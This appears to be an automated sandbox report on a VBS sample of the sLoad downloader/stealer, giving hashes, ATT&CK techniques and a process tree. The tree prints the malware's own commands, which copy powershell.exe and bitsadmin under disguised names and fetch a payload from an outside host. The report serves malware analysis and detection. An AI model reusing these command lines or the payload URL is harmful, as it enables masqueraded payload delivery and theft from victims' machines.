sload | 517d0890f443f9afc9bf3759fd6364e6408c978b613c594aeb94e1d24fef2fcc

Analysis

max time kernel
149s
max time network
184s
platform
windows10-2004_x64
resource
win10v2004-20220331-en
submitted
27/03/2022, 08:11

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General

Target

517d0890f443f9afc9bf3759fd6364e6408c978b613c594aeb94e1d24fef2fcc.vbs
Size

6KB
MD5

e23030b670693ed55a426f36a133a04c
SHA1

0d1a7a0582fd29568f6796b285bfe07d2ef783c8
SHA256

517d0890f443f9afc9bf3759fd6364e6408c978b613c594aeb94e1d24fef2fcc
SHA512

95f9756faf7957afbd4f68232d1a56d46d424b61d9d31ba99322ec45f2db944e8201ee9ea727c6639b40e423e59f8cd0aedf83dc37e1655d4286057994b1f4b8

Score

10^/10

sload stealer trojan

Malware Config

Signatures

sLoad
sLoad is a PowerShell downloader that can exfiltrate system information and deliver additional payloads.
trojan stealer sload

Executes dropped EXE 1 IoCs

pid	Process
3440	ywpwhHWin.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1082102374-1487407228-1886994731-1000\Control Panel\International\Geo\Nation	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 2288 wrote to memory of 864	2288	WScript.exe	78
PID 2288 wrote to memory of 864	2288	WScript.exe	78
PID 864 wrote to memory of 1280	864	cmd.exe	80
PID 864 wrote to memory of 1280	864	cmd.exe	80
PID 864 wrote to memory of 1700	864	cmd.exe	81
PID 864 wrote to memory of 1700	864	cmd.exe	81
PID 2288 wrote to memory of 3440	2288	WScript.exe	82
PID 2288 wrote to memory of 3440	2288	WScript.exe	82
PID 2288 wrote to memory of 3440	2288	WScript.exe	82

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\517d0890f443f9afc9bf3759fd6364e6408c978b613c594aeb94e1d24fef2fcc.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2288
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\zhYAwkpK.exe & cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\ywpwhHW*.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:864
- - C:\Windows\system32\cmd.exe
    cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\zhYAwkpK.exe
    3⤵
    PID:1280
- - C:\Windows\system32\cmd.exe
    cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\ywpwhHW*.exe
    3⤵
    PID:1700
- C:\ProgramData\ywpwhHWin.exe
  "C:\ProgramData\ywpwhHWin.exe" /transfer UiqvPh /download https://waybackwhenbycynthia.com/edikaso/PRIMRC69R24D612Y/it.png C:\Users\Admin\AppData\Roaming\it.png
  2⤵
  - Executes dropped EXE
  PID:3440

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\ProgramData\ywpwhHWin.exe

Filesize
182KB

MD5
f57a03fa0e654b393bb078d1c60695f3

SHA1
1ced6636bd2462c0f1b64775e1981d22ae57af0b

SHA256
c93b7734470cf96c5170f7b21f361cdf3f74ca819626c83c4b8a68210deeb35c

SHA512
7e84dd9a3e29523d25c0927424261ced908191e3151c9802b61fa3c5fe13d1192d19996cb435bb6d9be5731b8370e8ffb6ad26a4ba0733e212a103eb0bd75a2a

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C:\ProgramData\ywpwhHWin.exe

Filesize
182KB

MD5
f57a03fa0e654b393bb078d1c60695f3

SHA1
1ced6636bd2462c0f1b64775e1981d22ae57af0b

SHA256
c93b7734470cf96c5170f7b21f361cdf3f74ca819626c83c4b8a68210deeb35c

SHA512
7e84dd9a3e29523d25c0927424261ced908191e3151c9802b61fa3c5fe13d1192d19996cb435bb6d9be5731b8370e8ffb6ad26a4ba0733e212a103eb0bd75a2a

Download Submit